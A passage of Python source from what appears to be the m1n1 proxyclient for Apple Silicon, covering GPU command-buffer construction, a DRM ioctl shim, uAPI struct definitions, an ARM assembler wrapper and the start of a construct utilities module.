agx.cmdbuf.new(WorkCommandTA, track=False, align=0x20) work.add(work.wc_ta) wc_ta.context_id = self.ctx_id wc_ta.counter = 1 wc_ta.unk_8 = 0 wc_ta.event_control = self.event_control wc_ta.buffer_mgr_slot = self.buffer_mgr_slot wc_ta.buffer_mgr = self.buffer_mgr.info wc_ta.buf_thing = buf_desc wc_ta.unk_emptybuf_addr = wc_3d.unk_emptybuf_addr wc_ta.unk_34 = 0x0 wc_ta.unk_3e8 = bytes(0x64) wc_ta.unk_594 = WorkCommand0_UnkBuf() wc_ta.ts1 = TimeStamp(0) wc_ta.ts2 = TimeStamp(self.tsta_1._addr) wc_ta.ts3 = TimeStamp(self.tsta_2._addr) wc_ta.unk_5c4 = 0 wc_ta.unk_5c8 = 0 wc_ta.unk_5cc = 0 wc_ta.unk_5d0 = 0 wc_ta.client_sequence = 1 # Ventura wc_ta.unk_5d8_0 = 0 wc_ta.unk_5d8_4 = 0 wc_ta.unk_ts = TimeStamp() # Structures embedded in WorkCommandTA if not use_registers: wc_ta.tiling_params = tiling_params import random if not use_registers: wc_ta.struct_2 = StartTACmdStruct2() wc_ta.struct_2.unk_0 = 0 if unk1 else 0x200 wc_ta.struct_2.unk_8 = 0x1e3ce508 # fixed wc_ta.struct_2.unk_c = 0x1e3ce508 # fixed wc_ta.struct_2.tvb_tilemap = tvb_tilemap._addr wc_ta.struct_2.tvb_cluster_tilemaps = unk_tile_buf1._addr wc_ta.struct_2.tpc = self.tpc._addr wc_ta.struct_2.tvb_heapmeta_addr = tvb_heapmeta._addr | 0x8000_0000_0000_0000 wc_ta.struct_2.iogpu_unk_54 = 0x6b0003 # fixed wc_ta.struct_2.iogpu_unk_55 = 0x3a0012 # fixed wc_ta.struct_2.iogpu_unk_56 = 0x1 # fixed wc_ta.struct_2.tvb_cluster_meta1 = unk_tile_buf2._addr | 0x4_0000_0000_0000 wc_ta.struct_2.unk_48 = utile_config wc_ta.struct_2.unk_50 = 0x88 # fixed wc_ta.struct_2.tvb_heapmeta_addr2 = tvb_heapmeta._addr wc_ta.struct_2.unk_60 = 0x0 # fixed wc_ta.struct_2.core_mask = 0xffffffffffffffff #wc_ta.struct_2.unk_68 = 0xff << (8 * (self.buffer_mgr_slot % 8)) wc_ta.struct_2.iogpu_deflake_1 = deflake_1._addr wc_ta.struct_2.iogpu_deflake_2 = deflake_2._addr wc_ta.struct_2.unk_80 = 0x1 # fixed wc_ta.struct_2.iogpu_deflake_3 = deflake_3._addr | 0x4_0000_0000_0000 # check wc_ta.struct_2.encoder_addr = cmdbuf.encoder_ptr wc_ta.struct_2.tvb_cluster_meta2 = unk_tile_buf3._addr wc_ta.struct_2.tvb_cluster_meta3 = unk_tile_buf4._addr wc_ta.struct_2.tiling_control = 0xa040 #0xa041 # fixed wc_ta.struct_2.unk_b0 = [0x0, 0x0, 0x0, 0x0, 0x0, 0x0] # fixed wc_ta.struct_2.pipeline_base = self.ctx.pipeline_base wc_ta.struct_2.tvb_cluster_meta4 = unk_tile_buf5._addr | 0x3000_0000_0000_0000 wc_ta.struct_2.unk_f0 = 0x20 # fixed wc_ta.struct_2.unk_f8 = 0x8c60 # fixed wc_ta.struct_2.unk_100 = [0x0, 0x0, 0x0] # fixed wc_ta.struct_2.unk_118 = 0x1c # fixed wc_ta.registers_addr = 0 wc_ta.register_count = 0 wc_ta.registers_length = 0 else: regs = { 0x10141: (0 if unk1 else 0x200), # s2.unk_0 0x1c039: tvb_tilemap._addr, 0x1c9c8: tvb_tilemap._addr, 0x1c041: unk_tile_buf1._addr, # s2.tvb_cluster_tilemaps 0x1c9d0: unk_tile_buf1._addr, 0x1c0a1: self.tpc._addr, # TE_TPC_ADDR 0x1c031: tvb_heapmeta._addr | 0x8000_0000_0000_0000, 0x1c9c0: tvb_heapmeta._addr | 0x8000_0000_0000_0000, 0x1c051: 0x3a0012006b0003, # iogpu_unk_54/55 0x1c061: 1, # iogpu_unk_56 0x10149: utile_config, # s2.unk_48 utile_config 0x10139: ppp_multisamplectl, # PPP_MULTISAMPLECTL 0x10111: deflake_1._addr, 0x1c9b0: deflake_1._addr, 0x10119: deflake_2._addr, 0x1c9b8: deflake_2._addr, 0x1c958: 1, # s2.unk_80 0x1c950: deflake_3._addr | 0x4_0000_0000_0000, 0x1c930: 0, # VCE related addr, lsb to enable 0x1c880: cmdbuf.encoder_ptr, # VDM_CTRL_STREAM_BASE 0x1c898: 0x0, # if lsb set, faults in UL1C0, possibly missing addr. 0x1c948: unk_tile_buf3._addr, # tvb_cluster_meta2 0x1c888: unk_tile_buf4._addr, # tvb_cluster_meta3 0x1c890: 0x180341, # tvb_tiling_control 0x1c918: 0x4, 0x1c079: tvb_heapmeta._addr, 0x1c9d8: tvb_heapmeta._addr, 0x1c089: 0, 0x1c9e0: 0, 0x16c41: unk_tile_buf5._addr, # tvb_cluster_meta4 0x1ca40: unk_tile_buf5._addr, # tvb_cluster_meta4 0x1c9a8: 0x1c, # + meta1_blocks? # min_free_tvb_pages? 0x1c920: unk_tile_buf2._addr, # ??? | meta1_blocks? 0x10151: 0, 0x1c199: 0, 0x1c1a1: 0, 0x1c1a9: 0, # 0x10151 bit 1 enables 0x1c1b1: 0, 0x1c1b9: 0, 0x10061: self.ctx.pipeline_base, # USC_EXEC_BASE_TA 0x11801: 0, # some shader? 0x11809: 0, # maybe arg? 0x11f71: 0, 0x1c0b1: tiling_params.size1, # TE_PSG 0x1c850: tiling_params.size1, 0x10131: tiling_params.unk_4, 0x10121: tiling_params.unk_8, # PPP_CTRL 0x10129: tiling_params.x_max | (tiling_params.y_max << 16), # PPP_SCREEN 0x101b9: tiling_params.tile_count, # TE_SCREEN 0x1c069: tiling_params.x_blocks, # TE_MTILE1 0x1c071: tiling_params.y_blocks, # TE_MTILE2 0x1c081: tiling_params.size2, # TE_MTILE 0x1c0a9: tiling_params.size3, # TE_TPC 0x10171: tiling_params.unk_24, 0x10169: tiling_params.unk_28, # TA_RENDER_TARGET_MAX 0x12099: 0, 0x1c9e8: 0, } if False: regs[0x10209] = 0x133 regs[0x1c9f0] = 0x133 regs[0x1c830] = 0x1 regs[0x1c9f0] = 0x1502960fa0 regs[0x16c39] = 0x1502960fa0 regs[0x1c910] = 0xa0000b0125 regs[0x1c8e0] = 0xff # core_mask_0 regs[0x1c8e8] = 0x00 # core_mask_1 wc_ta.registers = [RegisterDefinition(k, v) for k, v in regs.items()] ta_reg_count = len(wc_ta.registers) wc_ta.registers += [RegisterDefinition(0, 0) for i in range(len(regs), 128)] wc_ta.set_addr() # Update inner structure addresses wc_ta.registers_addr = wc_ta.registers[0]._addr wc_ta.register_count = ta_reg_count wc_ta.registers_length = ta_reg_count * 12 wc_ta.unk_pad = 0 if True: wc_ta.struct_3 = StartTACmdStruct3() wc_ta.struct_3.unk_480 = [0x0, 0x0, 0x0, 0x0, 0x0, 0x0] # fixed wc_ta.struct_3.unk_498 = 0x0 # fixed wc_ta.struct_3.unk_4a0 = 0x0 # fixed wc_ta.struct_3.iogpu_deflake_1 = deflake_1._addr wc_ta.struct_3.unk_4ac = 0x0 # fixed wc_ta.struct_3.unk_4b0 = 0x0 # fixed wc_ta.struct_3.unk_4b8 = 0x0 # fixed wc_ta.struct_3.unk_4bc = 0x0 # fixed wc_ta.struct_3.unk_4c4_padding = bytes(0x48) wc_ta.struct_3.unk_50c = 0x0 # fixed wc_ta.struct_3.unk_510 = 0x0 # fixed wc_ta.struct_3.unk_518 = 0x0 # fixed wc_ta.struct_3.unk_520 = 0x0 # fixed wc_ta.struct_3.unk_528 = 0x0 # fixed wc_ta.struct_3.unk_52c = 0x0 # fixed wc_ta.struct_3.unk_530 = 0x0 # fixed wc_ta.struct_3.encoder_id = cmdbuf.encoder_id wc_ta.struct_3.unk_538 = 0x0 # fixed wc_ta.struct_3.unk_53c = 0xffffffff wc_ta.struct_3.unknown_buffer = wc_3d.struct_6.unknown_buffer wc_ta.struct_3.unk_548 = 0x0 # fixed wc_ta.struct_3.unk_550 = [ 0x0, 0x0, # fixed 0x0, # memoryless_rts_used 0x0, 0x0, 0x0] # fixed wc_ta.struct_3.stamp1 = self.stamp_ta1 wc_ta.struct_3.stamp2 = self.stamp_ta2 wc_ta.struct_3.stamp_value = self.stamp_value_ta wc_ta.struct_3.ev_ta = ev_ta.id wc_ta.struct_3.evctl_index = self.ev_idx wc_ta.struct_3.unk_584 = 0x0 # flush_stamps wc_ta.struct_3.uuid2 = uuid_ta wc_ta.struct_3.queue_cmd_count = 0 wc_ta.struct_3.unk_590 = int(unk1) wc_ta.set_addr() # Update inner structure addresses #print("wc_ta", wc_ta) ms = GPUMicroSequence(agx) if self.mshook_ta: self.mshook_ta(self, work, ms) start_ta = StartTACmd() if not use_registers: start_ta.tiling_params_addr = wc_ta.tiling_params._addr start_ta.struct2_addr = wc_ta.struct_2._addr # len 0x120 start_ta.registers_addr = 0 else: start_ta.tiling_params_addr = 0 start_ta.struct2_addr = 0 start_ta.registers_addr = wc_ta.registers[0]._addr start_ta.buffer_mgr = self.buffer_mgr.info start_ta.buf_thing = buf_desc start_ta.stats_ptr = agx.initdata.regionB.stats_ta.stats._addr start_ta.cmdqueue_ptr = self.wq_ta.info._addr start_ta.context_id = self.ctx_id start_ta.unk_38 = 1 start_ta.submission_id = self.event_control.submission_id start_ta.buffer_mgr_slot = self.buffer_mgr_slot start_ta.unk_48 = 0#1 #0 start_ta.unk_50 = 0 start_ta.struct3_addr = wc_ta.struct_3._addr start_ta.unkptr_5c = wc_ta.unk_594._addr start_ta.unk_64 = 0x0 # fixed start_ta.unk_68 = int(unk1) # sometimes 1? start_ta.uuid = uuid_ta start_ta.unk_70 = 0x0 # fixed start_ta.unk_74 = [ # fixed 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, ] start_ta.unk_15c = 0x0 # fixed start_ta.unk_160 = 0x0 # fixed start_ta.unk_168 = 0x0 # fixed start_ta.unk_16c = 0x0 # fixed start_ta.unk_170 = 0x0 # fixed start_ta.unk_178 = 0x0 # fixed? start_ta.counter = wc_ta.counter start_ta.unkptr_180 = self.event_control.unk_buf._addr start_ta_offset = ms.append(start_ta) ts1 = TimestampCmd() ts1.unk_1 = 0x0 ts1.unk_2 = 0x0 ts1.unk_3 = 0x80 ts1.ts0_addr = wc_ta.ts1._addr ts1.ts1_addr = wc_ta.ts2._addr ts1.ts2_addr = wc_ta.ts2._addr ts1.cmdqueue_ptr = self.wq_ta.info._addr ts1.unk_24 = 0x0 if Ver.check("V >= V13_0B4"): ts1.unk_ts_addr = wc_ta.unk_ts._addr ts1.uuid = uuid_ta ts1.unk_30_padding = 0x0 ms.append(ts1) if Ver.check("G >= G14X"): ms.append(Wait2Cmd()) else: ms.append(WaitForInterruptCmd(1, 0, 0)) ts2 = TimestampCmd() ts2.unk_1 = 0x0 ts2.unk_2 = 0x0 ts2.unk_3 = 0x0 ts2.ts0_addr = wc_ta.ts1._addr ts2.ts1_addr = wc_ta.ts2._addr ts2.ts2_addr = wc_ta.ts3._addr ts2.cmdqueue_ptr = self.wq_ta.info._addr ts2.unk_24 = 0x0 if Ver.check("V >= V13_0B4"): ts2.unk_ts_addr = wc_ta.unk_ts._addr ts2.uuid = uuid_ta ts2.unk_30_padding = 0x0 ms.append(ts2) finish_ta = FinalizeTACmd() finish_ta.buf_thing = buf_desc finish_ta.buffer_mgr = self.buffer_mgr.info finish_ta.stats_ptr = agx.initdata.regionB.stats_ta.stats._addr finish_ta.cmdqueue_ptr = self.wq_ta.info._addr finish_ta.context_id = self.ctx_id finish_ta.unk_28 = 0x0 # fixed finish_ta.struct3_addr = wc_ta.struct_3._addr finish_ta.unk_34 = 0x0 # fixed finish_ta.uuid = uuid_ta finish_ta.stamp = self.stamp_ta2 finish_ta.stamp_value = self.stamp_value_ta finish_ta.unk_48 = 0x0 # fixed finish_ta.unk_50 = 0x0 # fixed finish_ta.unk_54 = 0x0 # fixed finish_ta.unk_58 = 0x0 # fixed finish_ta.unk_60 = 0x0 # fixed finish_ta.unk_64 = 0x0 # fixed finish_ta.unk_68 = 0x0 # fixed finish_ta.unk_6c_g14 = 0 # fixed finish_ta.restart_branch_offset = start_ta_offset - ms.off finish_ta.unk_70 = 0x0 # fixed finish_ta.unk_74 = bytes(0x10) # Ventura ms.append(finish_ta) ms.finalize() print(wc_ta) print(hex(wc_ta.struct_3._addr)) print(hex(finish_ta.struct3_addr)) print(hex(wc_ta._addr)) ms.dump() work.add(ms.obj) wc_ta.unkptr_45c = self.tpc._addr wc_ta.tvb_size = tpc_size wc_ta.microsequence_ptr = ms.obj._addr wc_ta.microsequence_size = ms.size wc_ta.ev_3d = ev_3d.id wc_ta.stamp_value = self.stamp_value_ta print(wc_ta) self.wq_ta.submit(wc_ta) self.agx.log("Submit done") #self.ev_idx = (self.ev_idx + 1) % 4 return work def run(self): ##### Run queues self.agx.log("Run queues") self.agx.ch.queue[self.queue].q_3D.run(self.wq_3d, self.ev_3d.id) self.agx.ch.queue[self.queue].q_TA.run(self.wq_ta, self.ev_ta.id) self.agx.log("Run done") def wait(self): self.agx.log("Waiting...") work = self.work[-1] ##### Wait for work completion while not self.ev_3d.fired: self.agx.wait_for_events(timeout=2.0) if not self.ev_3d.fired: self.agx.log("3D event didn't fire") self.agx.log(f"Event {self.ev_3d.id} fired") #print("Stamps:") #print(self.stamp_ta1.pull()) #print(self.stamp_ta2.pull()) #print(self.stamp_3d1.pull()) #print(self.stamp_3d2.pull()) #print("WCs:") #print(work.wc_3d.pull()) #print(work.wc_ta.pull()) #if work.fb is not None and work.width and work.height: if work.fb is not None and work.width and work.height and work.width == 1920: agx = self.agx self.agx.log(f"Render {work.width}x{work.height} @ {work.fb:#x}") base, obj = self.agx.find_object(work.fb, self.ctx_id) #unswizzle(agx, obj._paddr, work.width, work.height, 4, "fb.bin", grid=False) #open("fb.bin", "wb").write(self.agx.u.iface.readmem(obj._paddr, work.width*work.height*4)) #os.system(f"convert -size {work.width}x{work.height} -depth 8 rgba:fb.bin -alpha off frame{self.frames}.png") self.agx.p.fb_blit(0, 0, work.width, work.height, obj._paddr, work.width, PIX_FMT.XBGR) if False: #work.depth is not None: base, obj = self.agx.find_object(work.depth, self.ctx_id) width = align_up(work.width, 64) height = align_up(work.height, 64) obj.pull() chexdump(obj.val) unswizzle(self.agx, obj._paddr, work.width, work.height, 4, "depth.bin", grid=False) os.system(f"convert -size {work.width}x{work.height} -depth 8 rgba:depth.bin -alpha off depth.png") for i in self.work: i.free() self.work = [] m1n1-1.4.11/proxyclient/m1n1/agx/shim.py000066400000000000000000000155741453754430200176220ustar00rootroot00000000000000#!/usr/bin/env python3 # SPDX-License-Identifier: MIT import errno, ctypes, sys, atexit, os, os.path, mmap from construct import * from m1n1 import malloc from m1n1.utils import Register32 from m1n1.agx import AGX from m1n1.agx.render import * from m1n1.agx.uapi import * from m1n1.proxyutils import * from m1n1.utils import * PAGE_SIZE = 32768 SHIM_MEM_SIZE = 4 * 1024 * 1024 * 1024 class IOCTL(Register32): NR = 7, 0 TYPE = 15, 8 SIZE = 29, 16 DIR = 31, 30 _IOC_NONE = 0 _IOC_WRITE = 1 _IOC_READ = 2 _IO = lambda type, nr: IOCTL(TYPE=type, NR=nr, SIZE=0, DIR=_IOC_NONE) _IOR = lambda type, nr, size: IOCTL(TYPE=type, NR=nr, SIZE=size, DIR=_IOC_READ) _IOW = lambda type, nr, size: IOCTL(TYPE=type, NR=nr, SIZE=size, DIR=_IOC_WRITE) _IOWR = lambda type, nr, size: IOCTL(TYPE=type, NR=nr, SIZE=size, DIR=_IOC_READ|_IOC_WRITE) DRM_IOCTL_BASE = ord('d') def IO(nr): def dec(f): f._ioctl = _IO(DRM_IOCTL_BASE, nr) return f return dec def IOR(nr, cls): def dec(f): f._ioctl = _IOR(DRM_IOCTL_BASE, nr, cls.sizeof()) f._arg_cls = cls return f return dec def IOW(nr, cls): def dec(f): f._ioctl = _IOW(DRM_IOCTL_BASE, nr, cls.sizeof()) f._arg_cls = cls return f return dec def IOWR(nr, cls): def dec(f): f._ioctl = _IOWR(DRM_IOCTL_BASE, nr, cls.sizeof()) f._arg_cls = cls return f return dec class DRMAsahiShim: def __init__(self, memfd): self.memfd = memfd self.initialized = False self.ioctl_map = {} for key in dir(self): f = getattr(self, key) ioctl = getattr(f, "_ioctl", None) if ioctl is not None: self.ioctl_map[ioctl.value] = ioctl, f self.bos = {} self.pull_buffers = bool(os.getenv("ASAHI_SHIM_PULL")) self.dump_frames = bool(os.getenv("ASAHI_SHIM_DUMP")) self.frame = 0 self.agx = None def read_buf(self, ptr, size): return ctypes.cast(ptr, ctypes.POINTER(ctypes.c_ubyte * size))[0] def init_agx(self): from m1n1.setup import p, u, iface p.pmgr_adt_clocks_enable("/arm-io/gfx-asc") p.pmgr_adt_clocks_enable("/arm-io/sgx") self.agx = agx = AGX(u) mon = RegMonitor(u, ascii=True, bufsize=0x8000000) agx.mon = mon sgx = agx.sgx_dev #mon.add(sgx.gpu_region_base, sgx.gpu_region_size, "contexts") #mon.add(sgx.gfx_shared_region_base, sgx.gfx_shared_region_size, "gfx-shared") #mon.add(sgx.gfx_handoff_base, sgx.gfx_handoff_size, "gfx-handoff") #mon.add(agx.initdasgx.gfx_handoff_base, sgx.gfx_handoff_size, "gfx-handoff") atexit.register(p.reboot) agx.start() def init(self): if self.initialized: return self.init_agx() self.ctx = GPUContext(self.agx) self.ctx.bind(0x17) self.renderer = GPURenderer(self.ctx, 0x40, bm_slot=10, queue=1) self.initialized = True @IOW(DRM_COMMAND_BASE + 0x00, drm_asahi_submit_t) def submit(self, fd, args): sys.stdout.write(".") sys.stdout.flush() size = drm_asahi_cmdbuf_t.sizeof() cmdbuf = drm_asahi_cmdbuf_t.parse(self.read_buf(args.cmdbuf, size)) self.log("Pushing objects...") for obj in self.bos.values(): #if obj._skipped_pushes > 64:# and obj._addr > 0x1200000000 and obj._size > 131072: #continue obj.push(True) self.log("Push done") attachment_objs = [] for i in cmdbuf.attachments: for obj in self.bos.values(): if obj._addr == i.pointer: attachment_objs.append(obj) if self.dump_frames: name = f"shim_frame{self.frame:03d}.agx" f = GPUFrame(self.renderer.ctx) f.cmdbuf = cmdbuf for obj in self.bos.values(): f.add_object(obj) f.save(name) self.renderer.submit(cmdbuf) self.renderer.run() self.renderer.wait() if self.pull_buffers: self.log("Pulling buffers...") for obj in attachment_objs: obj.pull() obj._map[:] = obj.val obj.val = obj._map self.log("Pull done") #print("HEAP STATS") #self.ctx.uobj.va.check() #self.ctx.gobj.va.check() #self.ctx.pobj.va.check() #self.agx.kobj.va.check() #self.agx.cmdbuf.va.check() #self.agx.kshared.va.check() #self.agx.kshared2.va.check() self.frame += 1 return 0 @IOW(DRM_COMMAND_BASE + 0x01, drm_asahi_wait_bo_t) def wait_bo(self, fd, args): self.log("Wait BO!", args) return 0 @IOWR(DRM_COMMAND_BASE + 0x02, drm_asahi_create_bo_t) def create_bo(self, fd, args): memfd_offset = args.offset if args.flags & ASAHI_BO_PIPELINE: alloc = self.renderer.ctx.pobj else: alloc = self.renderer.ctx.gobj obj = alloc.new(args.size, name=f"GBM offset {memfd_offset:#x}", track=False) obj._memfd_offset = memfd_offset obj._pushed = False obj.val = obj._map = mmap.mmap(self.memfd, args.size, offset=memfd_offset) self.bos[memfd_offset] = obj args.offset = obj._addr if args.flags & ASAHI_BO_PIPELINE: args.offset -= self.renderer.ctx.pipeline_base self.log(f"Create BO @ {memfd_offset:#x}") return 0 @IOWR(DRM_COMMAND_BASE + 0x04, drm_asahi_get_param_t) def get_param(self, fd, args): self.log("Get Param!", args) return 0 @IOWR(DRM_COMMAND_BASE + 0x05, drm_asahi_get_bo_offset_t) def get_bo_offset(self, fd, args): self.log("Get BO Offset!", args) return 0 def bo_free(self, memfd_offset): self.log(f"Free BO @ {memfd_offset:#x}") self.bos[memfd_offset].free() del self.bos[memfd_offset] sys.stdout.flush() def ioctl(self, fd, request, p_arg): self.init() p_arg = ctypes.c_void_p(p_arg) if request not in self.ioctl_map: self.log(f"Unknown ioctl: fd={fd} request={IOCTL(request)} arg={p_arg:#x}") return -errno.ENOSYS ioctl, f = self.ioctl_map[request] size = ioctl.SIZE if ioctl.DIR & _IOC_WRITE: args = f._arg_cls.parse(self.read_buf(p_arg, size)) ret = f(fd, args) elif ioctl.DIR & _IOC_READ: args = f._arg_cls.parse(bytes(size)) ret = f(fd, args) else: ret = f(fd) if ioctl.DIR & _IOC_READ: data = args.build() assert len(data) == size ctypes.memmove(p_arg, data, size) sys.stdout.flush() return ret def log(self, s): if self.agx is None: print("[Shim] " + s) else: self.agx.log("[Shim] " + s) Shim = DRMAsahiShim m1n1-1.4.11/proxyclient/m1n1/agx/uapi.py000066400000000000000000000052471453754430200176140ustar00rootroot00000000000000#!/usr/bin/env python3 # SPDX-License-Identifier: MIT from construct import * from m1n1.constructutils import ConstructClass __all__ = [] DRM_COMMAND_BASE = 0x40 ASAHI_BO_PIPELINE = 1 class drm_asahi_submit_t(ConstructClass): subcon = Struct( "cmdbuf" / Int64ul, "in_syncs" / Int64ul, "in_sync_count" / Int32ul, "out_sync" / Int32ul, ) class drm_asahi_wait_bo_t(ConstructClass): subcon = Struct( "handle" / Int32ul, Padding(4), "timeout_ns" / Int64sl, ) class drm_asahi_create_bo_t(ConstructClass): subcon = Struct( "size" / Int32ul, "flags" / Int32ul, "handle" / Int32ul, Padding(4), "offset" / Int64ul, ) #class drm_asahi_mmap_bo_t(ConstructClass): #subcon = Struct( #"handle" / Int32ul, #"flags" / Int32ul, #"offset" / Int64ul, #) class drm_asahi_get_param_t(ConstructClass): subcon = Struct( "param" / Int32ul, Padding(4), "value" / Int64ul, ) class drm_asahi_get_bo_offset_t(ConstructClass): subcon = Struct( "handle" / Int32ul, Padding(4), "offset" / Int64ul, ) ASAHI_MAX_ATTACHMENTS = 16 ASAHI_ATTACHMENT_C = 0 ASAHI_ATTACHMENT_Z = 1 ASAHI_ATTACHMENT_S = 2 class drm_asahi_attachment_t(ConstructClass): subcon = Struct( "type" / Int32ul, "size" / Int32ul, "pointer" / Int64ul, ) ASAHI_CMDBUF_LOAD_C = (1 << 0) ASAHI_CMDBUF_LOAD_Z = (1 << 1) ASAHI_CMDBUF_LOAD_S = (1 << 2) class drm_asahi_cmdbuf_t(ConstructClass): subcon = Struct( "flags" / Int64ul, "encoder_ptr" / Int64ul, "encoder_id" / Int32ul, "cmd_ta_id" / Int32ul, "cmd_3d_id" / Int32ul, "ds_flags" / Int32ul, "depth_buffer" / Int64ul, "stencil_buffer" / Int64ul, "scissor_array" / Int64ul, "depth_bias_array" / Int64ul, "fb_width" / Int32ul, "fb_height" / Int32ul, "load_pipeline" / Int32ul, "load_pipeline_bind" / Int32ul, "store_pipeline" / Int32ul, "store_pipeline_bind" / Int32ul, "partial_reload_pipeline" / Int32ul, "partial_reload_pipeline_bind" / Int32ul, "partial_store_pipeline" / Int32ul, "partial_store_pipeline_bind" / Int32ul, "depth_clear_value" / Float32l, "stencil_clear_value" / Int8ul, Padding(3), "attachments" / Array(ASAHI_MAX_ATTACHMENTS, drm_asahi_attachment_t), "attachment_count" / Int32ul, ) __all__.extend(k for k, v in globals().items() if ((callable(v) or isinstance(v, type)) and v.__module__ == __name__) or isinstance(v, int)) m1n1-1.4.11/proxyclient/m1n1/asm.py000066400000000000000000000100351453754430200166460ustar00rootroot00000000000000# SPDX-License-Identifier: MIT import os, tempfile, shutil, subprocess, re from . import sysreg __all__ = ["AsmException", "ARMAsm"] uname = os.uname() if uname.sysname == "Darwin": DEFAULT_ARCH = "aarch64-linux-gnu-" if uname.machine == "arm64": TOOLCHAIN = "/opt/homebrew/opt/llvm/bin/" else: TOOLCHAIN = "/usr/local/opt/llvm/bin/" USE_CLANG = "1" elif uname.sysname == "OpenBSD": DEFAULT_ARCH = "aarch64-none-elf-" TOOLCHAIN = "/usr/local/bin/" USE_CLANG = "1" else: if uname.machine == "aarch64": DEFAULT_ARCH = "" else: DEFAULT_ARCH = "aarch64-linux-gnu-" USE_CLANG = "0" TOOLCHAIN = "" use_clang = os.environ.get("USE_CLANG", USE_CLANG).strip() == "1" toolchain = os.environ.get("TOOLCHAIN", TOOLCHAIN) if use_clang: CC = toolchain + "clang --target=%ARCH" LD = toolchain + "ld.lld" OBJCOPY = toolchain + "llvm-objcopy" OBJDUMP = toolchain + "llvm-objdump" NM = toolchain + "llvm-nm" else: CC = toolchain + "%ARCHgcc" LD = toolchain + "%ARCHld" OBJCOPY = toolchain + "%ARCHobjcopy" OBJDUMP = toolchain + "%ARCHobjdump" NM = toolchain + "%ARCHnm" class AsmException(Exception): pass class BaseAsm(object): def __init__(self, source, addr = 0): self.source = source self._tmp = tempfile.mkdtemp() + os.sep self.addr = addr self.compile(source) def _call(self, program, args): subprocess.check_call(program.replace("%ARCH", self.ARCH) + " " + args, shell=True) def _get(self, program, args): return subprocess.check_output(program.replace("%ARCH", self.ARCH) + " " + args, shell=True).decode("ascii") def compile(self, source): for name, enc in sysreg.sysreg_fwd.items(): source = re.sub("\\b" + name + "\\b", f"s{enc[0]}_{enc[1]}_c{enc[2]}_c{enc[3]}_{enc[4]}", source) self.sfile = self._tmp + "b.S" with open(self.sfile, "w") as fd: fd.write(self.HEADER + "\n") fd.write(source + "\n") fd.write(self.FOOTER + "\n") self.ofile = self._tmp + "b.o" self.elffile = self._tmp + "b.elf" self.bfile = self._tmp + "b.b" self.nfile = self._tmp + "b.n" self._call(CC, f"{self.CFLAGS} -c -o {self.ofile} {self.sfile}") self._call(LD, f"{self.LDFLAGS} --Ttext={self.addr:#x} -o {self.elffile} {self.ofile}") self._call(OBJCOPY, f"-j.text -O binary {self.elffile} {self.bfile}") self._call(NM, f"{self.elffile} > {self.nfile}") with open(self.bfile, "rb") as fd: self.data = fd.read() with open(self.nfile) as fd: for line in fd: line = line.replace("\n", "") addr, type, name = line.split() addr = int(addr, 16) setattr(self, name, addr) self.start = self._start self.len = len(self.data) self.end = self.start + self.len def objdump(self): self._call(OBJDUMP, f"-rd {self.elffile}") def disassemble(self): output = self._get(OBJDUMP, f"-zd {self.elffile}") for line in output.split("\n"): if not line or line.startswith("/"): continue sl = line.split() if not sl or sl[0][-1] != ":": continue yield line def __del__(self): if self._tmp: shutil.rmtree(self._tmp) self._tmp = None class ARMAsm(BaseAsm): ARCH = os.path.join(os.environ.get("ARCH", DEFAULT_ARCH)) CFLAGS = "-pipe -Wall -march=armv8.4-a" if use_clang: LDFLAGS = "-maarch64elf" else: LDFLAGS = "-maarch64linux" HEADER = """ .text .globl _start _start: """ FOOTER = """ .pool """ if __name__ == "__main__": import sys code = """ ldr x0, =0xDEADBEEF b test mrs x0, spsel svc 1 %s test: b test ret """ % (" ".join(sys.argv[1:])) c = ARMAsm(code, 0x1238) c.objdump() assert c.start == 0x1238 if not sys.argv[1:]: assert c.test == 0x1248 m1n1-1.4.11/proxyclient/m1n1/constructutils.py000066400000000000000000000700461453754430200212030ustar00rootroot00000000000000#!/usr/bin/env python3 # SPDX-License-Identifier: MIT import inspect, textwrap, json, re, sys, os from construct import * from construct.core import evaluate from construct.lib import HexDisplayedInteger from .utils import * g_struct_trace = set() g_struct_addrmap = {} g_depth = 0 def ZPadding(size): return Const(bytes(size), Bytes(size)) def recursive_reload(obj, token=None): global g_depth if token is None: g_depth = 0 token = object() cur_token = getattr(obj, "_token", None) if cur_token is token: return g_depth += 1 #print(" " * g_depth + f"> {obj}", id(obj), id(token)) if isinstance(obj, Construct) and hasattr(obj, 'subcon'): # Single subcon types if inspect.isclass(obj.subcon): #print("> isclass") if hasattr(obj.subcon, "_reloadcls"): #print("> Recursive (subcon)") obj.subcon = obj.subcon._reloadcls(token=token) else: if isinstance(obj.subcon, Construct): recursive_reload(obj.subcon, token) if isinstance(obj, Construct) and hasattr(obj, 'subcons'): # Construct types that have lists new_subcons = [] for i, item in enumerate(obj.subcons): if inspect.isclass(item): if hasattr(item, "_reloadcls"): #print("> Recursive (subcons)") item = item._reloadcls() else: if isinstance(item, Construct): recursive_reload(item, token) new_subcons.append(item) obj.subcons = new_subcons if isinstance(obj, Construct) and hasattr(obj, 'cases'): # Construct types that have lists for i, item in list(obj.cases.items()): if inspect.isclass(item): if hasattr(item, "_reloadcls"): #print("> Recursive (cases)") obj.cases[i] = item._reloadcls(token=token) else: if isinstance(item, Construct): recursive_reload(item, token) for field in dir(obj): value = getattr(obj, field) if inspect.isclass(value): if hasattr(value, "_reloadcls"): #print("> Recursive (value)") setattr(obj, field, value._reloadcls(token=token)) else: if isinstance(value, Construct): recursive_reload(value, token) obj._token = token g_depth -= 1 def str_value(value, repr=False): if isinstance(value, bytes) and value == bytes(len(value)): return f"bytes({len(value):#x})" if isinstance(value, bytes) and repr: return f"bytes.fromhex('{value.hex()}')" if isinstance(value, DecDisplayedInteger): return str(value) if isinstance(value, int): if value in g_struct_addrmap: desc = g_struct_addrmap[value] return f"{value:#x} ({desc})" else: return f"{value:#x}" if isinstance(value, ListContainer): om = "" while len(value) > 1 and not value[-1]: value = value[:-1] om = " ..." if len(value) <= 16: return "[" + ", ".join(map(str_value, value)) + f"{om}]" else: sv = ["[\n"] for off in range(0, len(value), 16): sv.append(" " + ", ".join(map(str_value, value[off:off+16])) + ",\n") sv.append(f"{om}]\n") return "".join(sv) return str(value) class DecDisplayedInteger(int): @staticmethod def new(intvalue): obj = DecDisplayedInteger(intvalue) return obj class Dec(Adapter): def _decode(self, obj, context, path): try: if isinstance(obj, int): return 